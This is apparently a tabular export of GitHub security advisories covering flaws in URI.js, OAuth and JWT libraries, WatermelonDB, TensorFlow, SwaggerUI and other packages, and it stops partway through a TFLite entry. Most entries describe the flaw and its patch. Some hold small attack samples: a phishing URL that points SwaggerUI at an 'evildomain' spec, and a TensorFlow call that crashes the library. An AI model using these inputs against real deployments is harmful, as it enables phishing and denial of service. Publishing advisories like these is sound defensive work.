| {'CVE-2022-24723'} | 2022-04-19T19:03:25Z | 2022-03-03T19:23:36Z | MODERATE | 5.3 | {'CWE-20'} | {'https://github.com/medialize/URI.js/releases/tag/v1.19.9', 'https://github.com/medialize/URI.js/commit/86d10523a6f6e8dc4300d99d671335ee362ad316', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24723', 'https://github.com/advisories/GHSA-gmv4-r438-p67f', 'https://huntr.dev/bounties/82ef23b8-7025-49c9-b5fc-1bb9885788e5/', 'https://github.com/medialize/URI.js/security/advisories/GHSA-gmv4-r438-p67f'} | null | {'https://github.com/medialize/URI.js/commit/86d10523a6f6e8dc4300d99d671335ee362ad316'} | {'https://github.com/medialize/URI.js/commit/86d10523a6f6e8dc4300d99d671335ee362ad316'} |
GHSA | GHSA-f263-c949-w85g | Improper Authorization in Google OAuth Client | PKCE support is not implemented in accordance with the RFC for OAuth 2.0 for Native Apps. Without the use of PKCE, the authorization code returned by an authorization server is not enough to guarantee that the client that issued the initial authorization request is the one that will be authorized. An attacker is able to obtain the authorization code using a malicious app on the client-side and use it to gain authorization to the protected resource. This affects the package com.google.oauth-client:google-oauth-client before 1.31.0. | {'CVE-2020-7692'} | 2022-05-04T02:18:41Z | 2021-09-28T16:16:52Z | HIGH | 7.4 | {'CWE-862', 'CWE-863'} | {'https://tools.ietf.org/html/rfc8252%23section-8.1', 'https://lists.apache.org/thread.html/reae8909b264d1103f321b9ce1623c10c1ddc77dba9790247f2c0c90f@%3Ccommits.druid.apache.org%3E', 'https://github.com/advisories/GHSA-f263-c949-w85g', 'https://github.com/googleapis/google-oauth-java-client/commit/13433cd7dd06267fc261f0b1d4764f8e3432c824', 'https://tools.ietf.org/html/rfc7636%23section-1', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7692', 'https://snyk.io/vuln/SNYK-JAVA-COMGOOGLEOAUTHCLIENT-575276', 'https://github.com/googleapis/google-oauth-java-client/issues/469', 'https://lists.apache.org/thread.html/r3db6ac73e0558d64f0b664f2fa4ef0a865e57c5de20f8321d3b48678@%3Ccommits.druid.apache.org%3E'} | null | {'https://github.com/googleapis/google-oauth-java-client/commit/13433cd7dd06267fc261f0b1d4764f8e3432c824'} | {'https://github.com/googleapis/google-oauth-java-client/commit/13433cd7dd06267fc261f0b1d4764f8e3432c824'} |
GHSA | GHSA-fpjm-rp2g-3r4c | Django Rest Framework jwt allows obtaining new token from notionally invalidated token | An issue was discovered in drf-jwt 1.15.x before 1.15.1. It allows attackers with access to a notionally invalidated token to obtain a new, working token via the refresh endpoint, because the blacklist protection mechanism is incompatible with the token-refresh feature. NOTE: drf-jwt is a fork of jpadilla/django-rest-framework-jwt, which is unmaintained. | {'CVE-2020-10594'} | 2022-03-21T22:21:38Z | 2020-06-05T16:09:34Z | CRITICAL | 9.1 | {'CWE-287'} | {'https://github.com/advisories/GHSA-fpjm-rp2g-3r4c', 'https://nvd.nist.gov/vuln/detail/CVE-2020-10594', 'https://github.com/Styria-Digital/django-rest-framework-jwt/commit/868b5c22ddad59772b447080183e7c7101bb18e0', 'https://github.com/Styria-Digital/django-rest-framework-jwt/issues/36', 'https://pypi.org/project/drf-jwt/1.15.1/#history', 'https://github.com/jpadilla/django-rest-framework-jwt/issues/484'} | null | {'https://github.com/Styria-Digital/django-rest-framework-jwt/commit/868b5c22ddad59772b447080183e7c7101bb18e0'} | {'https://github.com/Styria-Digital/django-rest-framework-jwt/commit/868b5c22ddad59772b447080183e7c7101bb18e0'} |
GHSA | GHSA-38f9-m297-6q9g | DoS via malicious record IDs in WatermelonDB | ## Impact
Medium severity 5.9 https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H
A maliciously crafted record ID can exploit a SQL Injection vulnerability in iOS adapter implementation and cause the app to delete all or selected records from the database, generally causing the app to become unusable.
This may happen in apps that don't validate IDs (valid IDs are `/^[a-zA-Z0-9_-.]+$/`) and use Watermelon Sync or low-level `database.adapter.destroyDeletedRecords` method.
The integrity risk is low due to the fact that maliciously deleted records won't synchronize, so logout-login will restore all data, although some local changes may be lost if the malicious deletion causes the sync process to fail to proceed to push stage.
No way to breach confidentiality with this vulnerability is known. Full exploitation of SQL Injection is mitigated, because it's not possible to nest an insert/update query inside a delete query in SQLite, and it's not possible to pass a semicolon-separated second query. There's also no known practicable way to breach confidentiality by selectively deleting records, because those records will not be synchronized.
It's theoretically possible that selective record deletion could cause an app to behave insecurely if lack of a record is used to make security decisions by the app.
## Patches
Patched versions include:
- 0.15.1
- 0.16.2
- 0.16.1-fix
- this is actually the same as 0.16.0, but with the patch applied - as 0.16.1 is causing issues for some users
- `924c7ae2a8d` commit id contains the patch
## Workarounds
1. Ensure that your backend service sanitizes record IDs sent in the `pull sync` endpoint, such that only IDs matching `/^[a-zA-Z0-9_-.]+$/` are returned. This could also be done in JavaScript `pullChanges` function passed to `synchronize()`
2. If you use `destroyDeletedRecords` directly, validate all IDs passed the same way
## For more information
If you have any questions about this advisory, contact @radex. | {'CVE-2020-4035'} | 2021-01-08T20:15:01Z | 2020-06-03T21:57:53Z | MODERATE | 5.9 | {'CWE-89'} | {'https://github.com/Nozbe/WatermelonDB/security/advisories/GHSA-38f9-m297-6q9g', 'https://nvd.nist.gov/vuln/detail/CVE-2020-4035', 'https://github.com/advisories/GHSA-38f9-m297-6q9g', 'https://github.com/Nozbe/WatermelonDB/commit/924c7ae2a8d7d6459656751e5b9b1bf91a218025'} | null | {'https://github.com/Nozbe/WatermelonDB/commit/924c7ae2a8d7d6459656751e5b9b1bf91a218025'} | {'https://github.com/Nozbe/WatermelonDB/commit/924c7ae2a8d7d6459656751e5b9b1bf91a218025'} |
GHSA | GHSA-cm9w-c4rj-r2cf | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in view_component | This is an XSS vulnerability that has the potential to impact anyone using translations with the view_component gem. Data received via user input and passed as an interpolation argument to the `translate` method is not properly sanitized before display.
Versions 2.29.1 and 2.49.1 have been released and fully mitigate the vulnerability.
Avoid passing user input to the `translate` function, or sanitize the inputs before passing them.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in the [github/view_component](http://github.com/github/view_component) project
| {'CVE-2022-24722'} | 2022-03-11T20:08:42Z | 2022-03-02T22:24:05Z | HIGH | 8.1 | {'CWE-79'} | {'https://github.com/github/view_component/security/advisories/GHSA-cm9w-c4rj-r2cf', 'https://github.com/advisories/GHSA-cm9w-c4rj-r2cf', 'https://github.com/github/view_component/commit/3f82a6e62578ff6f361aba24a1feb2caccf83ff9', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24722', 'https://github.com/github/view_component/releases/tag/v2.31.2', 'https://github.com/github/view_component/releases/tag/v2.49.1'} | null | {'https://github.com/github/view_component/commit/3f82a6e62578ff6f361aba24a1feb2caccf83ff9'} | {'https://github.com/github/view_component/commit/3f82a6e62578ff6f361aba24a1feb2caccf83ff9'} |
GHSA | GHSA-v8mp-hhjq-h4cj | Cross-site Scripting in ShowDoc | ShowDoc prior to 2.10.4 is vulnerable to stored cross-site scripting via `.ofd` file upload. | {'CVE-2022-0965'} | 2022-03-29T21:18:37Z | 2022-03-16T00:00:46Z | MODERATE | 5.4 | {'CWE-79'} | {'https://huntr.dev/bounties/d66c88ce-63e2-4515-a429-8e43a42aa347', 'https://github.com/advisories/GHSA-v8mp-hhjq-h4cj', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0965', 'https://github.com/star7th/showdoc/commit/3caa32334db0c277b84e993eaca2036f5d1dbef8'} | null | {'https://github.com/star7th/showdoc/commit/3caa32334db0c277b84e993eaca2036f5d1dbef8'} | {'https://github.com/star7th/showdoc/commit/3caa32334db0c277b84e993eaca2036f5d1dbef8'} |
GHSA | GHSA-rmff-f8w9-c9rm | Data races in max7301 | The `ImmediateIO` and `TransactionalIO` types implement `Sync` for all contained
`Expander<EI>` types regardless of if the `Expander` itself is safe to use
across threads.
As the `IO` types allow retrieving the `Expander`, this can lead to non-thread
safe types being sent across threads as part of the `Expander` leading to data
races.
| {'CVE-2020-36472'} | 2021-08-25T20:59:22Z | 2021-08-25T20:59:22Z | MODERATE | 5.9 | {'CWE-362'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-36472', 'https://github.com/edarc/max7301/issues/1', 'https://github.com/advisories/GHSA-rmff-f8w9-c9rm', 'https://rustsec.org/advisories/RUSTSEC-2020-0152.html', 'https://github.com/edarc/max7301/commit/0a1da873ddb29bca926bad8301f8d7ab8aa97c52'} | null | {'https://github.com/edarc/max7301/commit/0a1da873ddb29bca926bad8301f8d7ab8aa97c52'} | {'https://github.com/edarc/max7301/commit/0a1da873ddb29bca926bad8301f8d7ab8aa97c52'} |
GHSA | GHSA-q263-fvxm-m5mw | Heap out of bounds access in MakeEdge in TensorFlow | ### Impact
Under certain cases, loading a saved model can result in accessing uninitialized memory while building the computation graph. The [`MakeEdge` function](https://github.com/tensorflow/tensorflow/blob/3616708cb866365301d8e67b43b32b46d94b08a0/tensorflow/core/common_runtime/graph_constructor.cc#L1426-L1438) creates an edge between one output tensor of the `src` node (given by `output_index`) and the input slot of the `dst` node (given by `input_index`). This is only possible if the types of the tensors on both sides coincide, so the function begins by obtaining the corresponding `DataType` values and comparing these for equality:
```cc
DataType src_out = src->output_type(output_index);
DataType dst_in = dst->input_type(input_index);
//...
```
However, there is no check that the indices point to inside of the arrays they index into. Thus, this can result in accessing data out of bounds of the corresponding heap allocated arrays.
In most scenarios, this can manifest as unitialized data access, but if the index points far away from the boundaries of the arrays this can be used to leak addresses from the library.
### Patches
We have patched the issue in GitHub commit [0cc38aaa4064fd9e79101994ce9872c6d91f816b](https://github.com/tensorflow/tensorflow/commit/0cc38aaa4064fd9e79101994ce9872c6d91f816b) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.
Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. | {'CVE-2020-26271'} | 2021-01-07T22:36:55Z | 2020-12-10T19:07:34Z | LOW | 4.4 | {'CWE-908', 'CWE-125'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q263-fvxm-m5mw', 'https://github.com/tensorflow/tensorflow/commit/0cc38aaa4064fd9e79101994ce9872c6d91f816b', 'https://github.com/advisories/GHSA-q263-fvxm-m5mw', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26271'} | null | {'https://github.com/tensorflow/tensorflow/commit/0cc38aaa4064fd9e79101994ce9872c6d91f816b'} | {'https://github.com/tensorflow/tensorflow/commit/0cc38aaa4064fd9e79101994ce9872c6d91f816b'} |
GHSA | GHSA-x4rg-4545-4w7w | Improper Input Validation and Excessive Iteration in Go Facebook Thrift | Go Facebook Thrift servers would not error upon receiving messages with containers of fields of unknown type. As a result, malicious clients could send short messages which would take a long time for the server to parse, potentially leading to denial of service. This issue affects Facebook Thrift prior to v2019.03.04.00. | {'CVE-2019-3564'} | 2022-04-12T22:50:27Z | 2022-02-15T01:57:18Z | HIGH | 7.5 | {'CWE-834', 'CWE-20', 'CWE-755'} | {'https://nvd.nist.gov/vuln/detail/CVE-2019-3564', 'https://www.facebook.com/security/advisories/cve-2019-3564', 'https://github.com/facebook/fbthrift/commit/c461c1bd1a3e130b181aa9c854da3030cd4b5156', 'https://github.com/advisories/GHSA-x4rg-4545-4w7w', 'https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@%3Ccommits.pulsar.apache.org%3E'} | null | {'https://github.com/facebook/fbthrift/commit/c461c1bd1a3e130b181aa9c854da3030cd4b5156'} | {'https://github.com/facebook/fbthrift/commit/c461c1bd1a3e130b181aa9c854da3030cd4b5156'} |
GHSA | GHSA-pgjj-866w-fc5c | Risk of code injection | ### Impact
Some routes use `eval` or `Function constructor`, which may be injected by the target site with unsafe code, causing server-side security issues
### Patches
Temporarily removed the problematic route and added a `no-new-func` rule to eslint
Self-built users should upgrade to 7f1c430 and later as soon as possible
### Credits
Tencent Woodpecker Security Team
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [https://github.com/DIYgod/RSSHub/issues](https://github.com/DIYgod/RSSHub/issues)
* Email us at [i@diygod.me](mailto:i@diygod.me) | {'CVE-2021-21278'} | 2021-10-12T16:03:43Z | 2021-10-12T16:03:43Z | HIGH | 8.6 | {'CWE-74'} | {'https://github.com/advisories/GHSA-pgjj-866w-fc5c', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21278', 'https://github.com/DIYgod/RSSHub/commit/7f1c43094e8a82e4d8f036ff7d42568fed00699d', 'https://github.com/DIYgod/RSSHub/security/advisories/GHSA-pgjj-866w-fc5c', 'https://www.npmjs.com/package/rsshub'} | null | {'https://github.com/DIYgod/RSSHub/commit/7f1c43094e8a82e4d8f036ff7d42568fed00699d'} | {'https://github.com/DIYgod/RSSHub/commit/7f1c43094e8a82e4d8f036ff7d42568fed00699d'} |
GHSA | GHSA-48mj-p7x2-5jfm | Basic auth bypass in esphome | ### Impact
Anyone with web_server enabled and HTTP basic auth configured on 2021.9.1 or older
`web_server` allows OTA update without checking user defined basic auth username & password
### Patches
Patch released in 2021.9.2
### Workarounds
Disable/remove `web_server`
| {'CVE-2021-41104'} | 2022-04-19T19:03:10Z | 2021-09-29T17:09:14Z | HIGH | 7.5 | {'CWE-306'} | {'https://github.com/esphome/esphome/pull/2409/commits/207cde1667d8c799a197b78ca8a5a14de8d5ca1e', 'https://github.com/esphome/esphome/commit/be965a60eba6bb769e2a5afdbc8eed132f077a59', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41104', 'https://github.com/esphome/esphome/releases/tag/2021.9.2', 'https://github.com/esphome/esphome/security/advisories/GHSA-48mj-p7x2-5jfm', 'https://github.com/advisories/GHSA-48mj-p7x2-5jfm'} | null | {'https://github.com/esphome/esphome/commit/be965a60eba6bb769e2a5afdbc8eed132f077a59', 'https://github.com/esphome/esphome/pull/2409/commits/207cde1667d8c799a197b78ca8a5a14de8d5ca1e'} | {'https://github.com/esphome/esphome/commit/be965a60eba6bb769e2a5afdbc8eed132f077a59', 'https://github.com/esphome/esphome/pull/2409/commits/207cde1667d8c799a197b78ca8a5a14de8d5ca1e'} |
GHSA | GHSA-gjcw-v447-2w7q | Forgeable Public/Private Tokens in jws | Affected versions of the `jws` package allow users to select what algorithm the server will use to verify a provided JWT. A malicious actor can use this behaviour to arbitrarily modify the contents of a JWT while still passing verification. For the common use case of the JWT as a bearer token, the end result is a complete authentication bypass with minimal effort.
## Recommendation
Update to version 3.0.0 or later. | {'CVE-2016-1000223'} | 2021-09-23T21:25:35Z | 2020-09-01T15:23:18Z | HIGH | 8.7 | null | {'https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/', 'https://github.com/brianloveswords/node-jws/commit/585d0e1e97b6747c10cf5b7689ccc5618a89b299#diff-4ac32a78649ca5bdd8e0ba38b7006a1e', 'https://github.com/advisories/GHSA-gjcw-v447-2w7q', 'https://nvd.nist.gov/vuln/detail/CVE-2016-1000223', 'https://www.npmjs.com/advisories/88', 'https://snyk.io/vuln/npm:jws:20160726'} | null | {'https://github.com/brianloveswords/node-jws/commit/585d0e1e97b6747c10cf5b7689ccc5618a89b299#diff-4ac32a78649ca5bdd8e0ba38b7006a1e'} | {'https://github.com/brianloveswords/node-jws/commit/585d0e1e97b6747c10cf5b7689ccc5618a89b299#diff-4ac32a78649ca5bdd8e0ba38b7006a1e'} |
GHSA | GHSA-pv8x-p9hq-j328 | Arbitrary Code Execution in mathjs | math.js before 3.17.0 had an issue where private properties such as a constructor could be replaced by using unicode characters when creating an object.
## Recommendation
Upgrade to version 3.17.0 or later. | {'CVE-2017-1001003'} | 2021-01-08T18:19:21Z | 2017-12-18T22:27:53Z | CRITICAL | 0 | {'CWE-88'} | {'https://github.com/josdejong/mathjs/commit/a60f3c8d9dd714244aed7a5569c3dccaa3a4e761', 'https://github.com/josdejong/mathjs/blob/master/HISTORY.md#2017-11-18-version-3170', 'https://www.npmjs.com/advisories/551', 'https://github.com/advisories/GHSA-pv8x-p9hq-j328', 'https://nvd.nist.gov/vuln/detail/CVE-2017-1001003'} | null | {'https://github.com/josdejong/mathjs/commit/a60f3c8d9dd714244aed7a5569c3dccaa3a4e761'} | {'https://github.com/josdejong/mathjs/commit/a60f3c8d9dd714244aed7a5569c3dccaa3a4e761'} |
GHSA | GHSA-qrmm-w75w-3wpx | Server side request forgery in SwaggerUI | SwaggerUI supports displaying remote OpenAPI definitions through the `?url` parameter. This enables robust demonstration capabilities on sites like `petstore.swagger.io`, `editor.swagger.io`, and similar sites, where users often want to see what their OpenAPI definitions would look like rendered.
However, this functionality may pose a risk for users who host their own SwaggerUI instances. In particular, including remote OpenAPI definitions opens a vector for phishing attacks by abusing the trusted names/domains of self-hosted instances.
An example scenario abusing this functionality could take the following form:
- `https://example.com/api-docs` hosts a version of SwaggerUI with `?url=` query parameter enabled.
- Users will trust the domain `https://example.com` and the contents of the OpenAPI definition.
- A malicious actor may craft a similar OpenAPI definition and service that responds to the defined APIs at `https://evildomain`.
- Users mistakenly click a phishing URL like `https://example.com/api-docs?url=https://evildomain/fakeapi.yaml` and enters sensitive data via the "Try-it-out" feature.
We do want to stress that this attack vector is limited to scenarios that actively trick users into divulging sensitive information. The ease of this is highly contextual and, therefore, the threat model may be different for individual users and organizations. It is *not* possible to perform non-interactive attacks (e.g., cross-site scripting or code injection) through this mechanism.
### Resolution
We've made the decision to [disable query parameters (#4872)](https://github.com/swagger-api/swagger-ui/issues/4872) by default starting with SwaggerUI version `4.1.3`. Please update to this version when it becomes available (**ETA: 2021 December**). Users will still be able to be re-enable the options at their discretion. We'll continue to enable query parameters on the Swagger demo sites.
### Workaround
If you host a version of SwaggerUI and wish to mitigate this issue immediately, you are encouraged to add the following custom plugin code:
```js
SwaggerUI({
// ...other configuration options,
plugins: [function UrlParamDisablePlugin() {
return {
statePlugins: {
spec: {
wrapActions: {
// Remove the ?url parameter from loading an external OpenAPI definition.
updateUrl: (oriAction) => (payload) => {
const url = new URL(window.location.href)
if (url.searchParams.has('url')) {
url.searchParams.delete('url')
window.location.replace(url.toString())
}
return oriAction(payload)
}
}
}
}
}
}],
})
```
### Future UX work
Through the exploration of this issue, it became apparent that users may not be aware to which web server the Try-it-out function will send requests. While this information is currently presented at the top of the page, understanding may improve by displaying it closer to the "Execute" button where requests are actually made. We'll be exploring these UX improvements over the coming months and welcome community input. Please create a Feature Request under the GitHub Issue tab to start a conversation with us and the community.
## Reflected XSS attack
**Warning** in versions <= 3.36.2, it is possible to combine the URL options (as mentioned above) with a vunerability in DOMPurify (https://www.cvedetails.com/cve/CVE-2020-26870/) to create a reflected XSS vector. If your version of Swagger UI is older than or equal to 3.36.2, we suggest you upgrade or implement the workaround as mentioned above.
| null | 2022-04-19T19:03:17Z | 2021-12-09T19:08:38Z | MODERATE | 0 | {'CWE-918'} | {'https://github.com/swagger-api/swagger-ui/security/advisories/GHSA-qrmm-w75w-3wpx', 'https://github.com/swagger-api/swagger-ui/commit/01a3e55960f864a0acf6a8d06e5ddaf6776a7f76', 'https://github.com/swagger-api/swagger-ui/issues/4872', 'https://github.com/advisories/GHSA-qrmm-w75w-3wpx'} | null | {'https://github.com/swagger-api/swagger-ui/commit/01a3e55960f864a0acf6a8d06e5ddaf6776a7f76'} | {'https://github.com/swagger-api/swagger-ui/commit/01a3e55960f864a0acf6a8d06e5ddaf6776a7f76'} |
GHSA | GHSA-35q2-47q7-3pc3 | Potential exponential regex in monitor mode | ### Impact
When a client is in monitoring mode, the regex begin used to detected monitor messages could cause exponential backtracking on some strings. This issue could lead to a denial of service.
### Patches
The problem was fixed in commit [`2d11b6d`](https://github.com/NodeRedis/node-redis/commit/2d11b6dc9b9774464a91fb4b448bad8bf699629e) and was released in version `3.1.1`.
### References
#1569 (GHSL-2021-026) | {'CVE-2021-29469'} | 2022-04-19T19:02:53Z | 2021-04-27T15:56:03Z | LOW | 0 | {'CWE-400'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-29469', 'https://security.netapp.com/advisory/ntap-20210611-0010/', 'https://github.com/NodeRedis/node-redis/security/advisories/GHSA-35q2-47q7-3pc3', 'https://github.com/NodeRedis/node-redis/commit/2d11b6dc9b9774464a91fb4b448bad8bf699629e', 'https://github.com/advisories/GHSA-35q2-47q7-3pc3', 'https://github.com/NodeRedis/node-redis/releases/tag/v3.1.1'} | null | {'https://github.com/NodeRedis/node-redis/commit/2d11b6dc9b9774464a91fb4b448bad8bf699629e'} | {'https://github.com/NodeRedis/node-redis/commit/2d11b6dc9b9774464a91fb4b448bad8bf699629e'} |
GHSA | GHSA-3pwh-5mmc-mwrx | Denial of Service in nes | Affected versions of `nes` are vulnerable to denial of service when given an invalid `cookie` header, and websocket authentication is set to `cookie`. Submitting an invalid cookie on the websocket upgrade request will cause the node process to throw and exit.
## Recommendation
Update to version 6.4.1 or later. | {'CVE-2017-16025'} | 2021-01-08T20:00:19Z | 2018-07-24T20:06:33Z | HIGH | 0 | {'CWE-400'} | {'https://github.com/hapijs/nes/issues/171', 'https://nodesecurity.io/advisories/331', 'https://github.com/hapijs/nes/commit/249ba1755ed6977fbc208463c87364bf884ad655', 'https://www.npmjs.com/advisories/331', 'https://github.com/advisories/GHSA-3pwh-5mmc-mwrx', 'https://nvd.nist.gov/vuln/detail/CVE-2017-16025'} | null | {'https://github.com/hapijs/nes/commit/249ba1755ed6977fbc208463c87364bf884ad655'} | {'https://github.com/hapijs/nes/commit/249ba1755ed6977fbc208463c87364bf884ad655'} |
GHSA | GHSA-w3jx-wv97-67ph | Cross-site scripting in Dutchcoders transfer.sh | Dutchcoders transfer.sh before 1.2.4 allows XSS via an inline view. | {'CVE-2021-33496'} | 2021-06-29T21:25:27Z | 2021-06-29T21:25:27Z | MODERATE | 6.1 | {'CWE-79'} | {'https://vuln.ryotak.me/advisories/43', 'https://github.com/dutchcoders/transfer.sh/pull/373', 'https://github.com/dutchcoders/transfer.sh/releases/tag/v1.2.4', 'https://nvd.nist.gov/vuln/detail/CVE-2021-33496', 'https://github.com/advisories/GHSA-w3jx-wv97-67ph', 'https://github.com/dutchcoders/transfer.sh/commit/9df18fdc69de2e71f30d8c1e6bfab2fda2e52eb4'} | null | {'https://github.com/dutchcoders/transfer.sh/commit/9df18fdc69de2e71f30d8c1e6bfab2fda2e52eb4'} | {'https://github.com/dutchcoders/transfer.sh/commit/9df18fdc69de2e71f30d8c1e6bfab2fda2e52eb4'} |
GHSA | GHSA-wpww-4jf4-4hx8 | Edit feed settings and others, Cross Site Scripting(XSS) Vulnerability in Latest Release 4.4.0 | baserCMS 4.4.0 and earlier is affected by Cross Site Scripting (XSS).
Impact: XSS via Arbitrary script execution.
Attack vector is: Administrator must be logged in.
Components are: Edit feed settings, Edit widget area, Sub site new registration, New category registration
Tested baserCMS Version : 4.4.0 (Latest)
Affected baserCMS Version : 4.0.0 ~ 4.4.0
Patches : https://basercms.net/security/20201029
Found by Aquilao Null | {'CVE-2020-15273'} | 2022-04-19T19:02:38Z | 2020-11-04T21:08:38Z | LOW | 7.3 | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-15273', 'https://github.com/baserproject/basercms/commit/b70474ef9dcee6ad8826360884625dc7ca9041a1', 'https://github.com/advisories/GHSA-wpww-4jf4-4hx8', 'https://github.com/baserproject/basercms/security/advisories/GHSA-wpww-4jf4-4hx8', 'https://packagist.org/packages/baserproject/basercms'} | null | {'https://github.com/baserproject/basercms/commit/b70474ef9dcee6ad8826360884625dc7ca9041a1'} | {'https://github.com/baserproject/basercms/commit/b70474ef9dcee6ad8826360884625dc7ca9041a1'} |
GHSA | GHSA-7gm7-8q8v-9gf2 | Server-Side Request Forgery (SSRF) in Shopware | ### Impact
The attacker can abuse the Admin SDK functionality on the server to read or update internal resources.
### Patches
We recommend updating to the current version 6.4.10.1. You can get the update to 6.4.10.1 regularly via the Auto-Updater or directly via the download overview.
https://www.shopware.com/en/download/#shopware-6
### Workarounds
For older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.
| {'CVE-2022-24871'} | 2022-04-22T21:04:08Z | 2022-04-22T21:04:07Z | HIGH | 7.2 | {'CWE-918'} | {'https://github.com/shopware/platform/security/advisories/GHSA-7gm7-8q8v-9gf2', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24871', 'https://github.com/shopware/platform/commit/083765e2d64a00315050c4891800c9e98ba0c77c', 'https://github.com/advisories/GHSA-7gm7-8q8v-9gf2', 'https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-04-2022'} | null | {'https://github.com/shopware/platform/commit/083765e2d64a00315050c4891800c9e98ba0c77c'} | {'https://github.com/shopware/platform/commit/083765e2d64a00315050c4891800c9e98ba0c77c'} |
GHSA | GHSA-rrfp-j2mp-hq9c | Segfault in `tf.quantization.quantize_and_dequantize` | ### Impact
An attacker can pass an invalid `axis` value to `tf.quantization.quantize_and_dequantize`:
```python
tf.quantization.quantize_and_dequantize(
input=[2.5, 2.5], input_min=[0,0], input_max=[1,1], axis=10)
```
This results in accessing [a dimension outside the rank of the input tensor](https://github.com/tensorflow/tensorflow/blob/0225022b725993bfc19b87a02a2faaad9a53bc17/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L74) in the C++ kernel implementation:
```
const int depth = (axis_ == -1) ? 1 : input.dim_size(axis_);
```
However, [`dim_size` only does a `DCHECK`](https://github.com/tensorflow/tensorflow/blob/0225022b725993bfc19b87a02a2faaad9a53bc17/tensorflow/core/framework/tensor_shape.cc#L292-L307) to validate the argument and then uses it to access the corresponding element of an array:
```
int64 TensorShapeBase<Shape>::dim_size(int d) const {
DCHECK_GE(d, 0);
DCHECK_LT(d, dims());
DoStuffWith(dims_[d]);
}
```
Since in normal builds, `DCHECK`-like macros are no-ops, this results in segfault and access out of bounds of the array.
### Patches
We have patched the issue in eccb7ec454e6617738554a255d77f08e60ee0808 and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported in #42105 | {'CVE-2020-15265'} | 2021-08-26T15:20:29Z | 2020-11-13T17:13:04Z | LOW | 5.9 | {'CWE-125'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-15265', 'https://github.com/tensorflow/tensorflow/commit/eccb7ec454e6617738554a255d77f08e60ee0808', 'https://github.com/advisories/GHSA-rrfp-j2mp-hq9c', 'https://github.com/tensorflow/tensorflow/issues/42105', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rrfp-j2mp-hq9c'} | null | {'https://github.com/tensorflow/tensorflow/commit/eccb7ec454e6617738554a255d77f08e60ee0808'} | {'https://github.com/tensorflow/tensorflow/commit/eccb7ec454e6617738554a255d77f08e60ee0808'} |
GHSA | GHSA-3wcq-x3mq-6r9p | Potential memory exposure in dns-packet | This affects the package dns-packet before versions 1.3.2 and 5.2.2. It creates buffers with allocUnsafe and does not always fill them before forming network packets. This can expose internal application memory over unencrypted network when querying crafted invalid domain names. | {'CVE-2021-23386'} | 2021-05-27T23:00:16Z | 2021-05-24T19:51:04Z | HIGH | 7.7 | {'CWE-200', 'CWE-908'} | {'https://snyk.io/vuln/SNYK-JS-DNSPACKET-1293563', 'https://github.com/advisories/GHSA-3wcq-x3mq-6r9p', 'https://hackerone.com/bugs?subject=user&%3Breport_id=968858', 'https://nvd.nist.gov/vuln/detail/CVE-2021-23386', 'https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1295719', 'https://github.com/mafintosh/dns-packet/commit/25f15dd0fedc53688b25fd053ebbdffe3d5c1c56', 'https://github.com/mafintosh/dns-packet/commit/0d0d593f8df4e2712c43957a6c62e95047f12b2d'} | null | {'https://github.com/mafintosh/dns-packet/commit/25f15dd0fedc53688b25fd053ebbdffe3d5c1c56', 'https://github.com/mafintosh/dns-packet/commit/0d0d593f8df4e2712c43957a6c62e95047f12b2d'} | {'https://github.com/mafintosh/dns-packet/commit/0d0d593f8df4e2712c43957a6c62e95047f12b2d', 'https://github.com/mafintosh/dns-packet/commit/25f15dd0fedc53688b25fd053ebbdffe3d5c1c56'} |
GHSA | GHSA-8xqr-4cpm-wx7g | Cross-Site Scripting in react-svg | Versions of `react-svg` before 2.2.18 are vulnerable to cross-site scripting (xss). This is due to the fact that scripts found in SVG files are run by default.
## Recommendation
Update to version 2.2.18 or later. | null | 2021-08-04T20:24:38Z | 2019-05-31T23:47:27Z | HIGH | 0 | {'CWE-79'} | {'https://www.npmjs.com/advisories/648', 'https://github.com/tanem/react-svg/pull/57', 'https://github.com/tanem/react-svg/pull/57/commits/ec7de5d678f53a085cee1348cb1aa069c9fc42fb', 'https://github.com/advisories/GHSA-8xqr-4cpm-wx7g', 'https://nodesecurity.io/advisories/648'} | null | {'https://github.com/tanem/react-svg/pull/57/commits/ec7de5d678f53a085cee1348cb1aa069c9fc42fb'} | {'https://github.com/tanem/react-svg/pull/57/commits/ec7de5d678f53a085cee1348cb1aa069c9fc42fb'} |
GHSA | GHSA-c545-c4f9-rf6v | Heap OOB in TFLite | ### Impact
TFLite's [`expand_dims.cc`](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/expand_dims.cc#L36-L50) contains a vulnerability which allows reading one element outside of bounds of heap allocated data:
```cc
